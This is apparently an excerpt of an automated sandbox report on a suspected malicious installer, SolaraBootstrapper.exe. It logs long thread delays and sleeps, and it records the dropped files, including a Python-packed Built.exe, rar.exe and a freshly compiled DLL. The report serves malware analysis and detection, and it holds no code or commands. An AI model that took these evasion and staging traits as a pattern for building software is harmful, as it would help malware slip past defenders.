Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599735
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599607
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599435
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599299
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599130
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598889
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598767
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598641
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598507
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598297
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597507
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597339
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597157
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596657
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596302
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596157
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595868
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595749
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595579
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595450
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595265
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595110
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594962
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594825
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594592
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594461
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594324
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594195
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594072
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593891
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593742
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593563
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593368
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593211
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593075
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592963
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592843
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592730
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592219
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592094
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591975
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591853
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591708
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591579
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591454
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591311
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591172
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590994
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590871
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590748
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590636
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590360
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589791
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589641
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589509
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589384
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589262
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589094
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588964
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588852
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588729
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588617
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588505
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588386
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588268
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588150
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588021
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587880
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587753
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587630
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587509
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587393
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587275
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587168
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587040
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586918
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586798
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586682
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586568
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586443
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586323
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586205
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586088
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585963
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585845
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585730
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585616
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585492
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585374
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585254
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585133
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\agentInto\fontsessionruntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 7043
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 2250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2297
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3287
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2004
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 789
Source: C:\agentInto\fontsessionruntime.exe	Window / User API: threadDelayed 884

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI66162\python312.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599607s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599435s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599299s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599130s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -599000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598889s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598767s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598641s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598507s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -598125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -597922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -597672s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -597507s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -597339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -597157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -596657s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -596485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -596302s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -596157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -596000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595868s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595749s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595579s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595450s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595265s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -595110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594962s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594825s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594592s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594461s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594324s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594195s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -594072s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593891s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593742s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593563s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593368s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593211s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -593075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592963s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592730s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -592094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591975s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591853s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591708s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591579s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591454s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591311s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -591172s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590994s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590871s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590748s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590636s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -590234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589791s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589641s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589509s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589384s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589262s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -589094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588964s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588852s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588729s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588617s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588505s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588386s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588150s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -588021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587880s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587753s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587630s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587509s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587393s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587275s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587168s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -587040s >= -30000s
